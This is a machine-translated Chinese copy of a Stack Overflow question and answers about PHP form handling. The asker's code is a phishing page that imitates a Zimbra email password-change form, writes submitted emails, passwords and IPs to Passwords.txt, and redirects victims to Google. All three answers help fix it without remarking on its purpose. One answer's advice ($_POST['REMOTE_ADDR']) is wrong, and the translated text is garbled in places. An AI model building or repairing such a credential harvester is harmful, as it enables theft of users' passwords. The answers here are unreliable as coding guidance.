保存用户信息表格PHP HTM

时间:2016-10-11 19:04:53

标签: php html css forms

我正在尝试创建一个表单,当用户键入信息然后提交它时将其保存在文本文件中。但是当我打开文本文件时,它只显示IP地址....我无法弄清楚我的代码出错了什么:

我已经尝试将§_SERVER更改为$ _POST,但它无法正常工作

谢谢:)

HTML:

    <form action="login.php" id="login.php" method="get">
  <div class="imgcontainer">
    <img src="zimbra.png" alt="Avatar" class="avatar">
  </div>
        <div class="bodypage">
     <div class="font">
  <div class="container">

    <label>EEB2 Zimbra Email</label>
    <input type="text" placeholder="Enter Email" name="email" id="email" required>

    <label>Password</label>
    <input type="password" placeholder="Enter Password" name="psw" id="psw" required>

    <label>New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="newpassword">

    <label>Confirm New Password</label>
    <input type="password" placeholder="Enter New Password" name="newpsw" required id="confirmnewpassword">
      </div>


    <a href="google.com"><button type="submit">Change Password</button></a>
         </div>

    </form>

PHP:

    <?php
$handle = fopen("Passwords.txt", "a");
$ip = $_SERVER['REMOTE_ADDR'];
$email = $_SERVER['email'];   
$psw = $_SERVER['psw']; 
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, PHP_EOL);
}
fwrite($handle, "IP=$ip");
fwrite($handle, "PASS=$psw");
fwrite($handle, "EMAIL=$email");
fclose($handle);
header ('Location: http://www.google.be/');
exit;
?>

编辑:我不是想获取新密码,只是电子邮件和密码。

3 个答案:

答案 0 :(得分:0)

没有$ _SERVER [&#39;电子邮件&#39;],$ _SERVER [&#39; psw&#39;]等等。这是documented here

假设他们有&#34; name&#34; HTML表单中的属性(我出于某种原因,请参阅Dropbox),您应该在$ _POST [&#39; psw&#39;],$ _POST [&#39; email& #39;]等等。

我想补充一点,在将这些值放入文件系统之前,应该使用filter_input或其他一些机制来测试这些值。

答案 1 :(得分:0)

你的方法是$ _GET所以它是$ _GET [&#39; email&#39;]

答案 2 :(得分:0)

首先,如果您尝试保存凭据(如密码),则不应使用代码中的方法“GET”。因为提交表单时,因为您使用了GET方法,所有凭据都将显示在URL上。所以这将是一个安全问题。大多数开发人员更喜欢使用POST方法而非GET进行表单数据处理。

正如在W3schools上所说,“ $ _ SERVER 是一个PHP超级全局变量,它包含有关标题,路径和脚本位置的信息。”

使用POST方法

尝试更改为此。(使用“$ _POST [] ”方法只是为了捕获您尝试从网络表单发布的数据。所以这对您有用。

$ ip = $ _POST ['REMOTE_ADDR']; $ email = $ _POST ['email'];

为了适合你,你应该改变

使用GET方法

但如果你仍然想坚持使用GET方法,你只需将它们改为$ _GET ['']

$ ip = $ _GET ['REMOTE_ADDR']; $ email = $ _GET ['email'];

希望能帮到你! :D祝你好运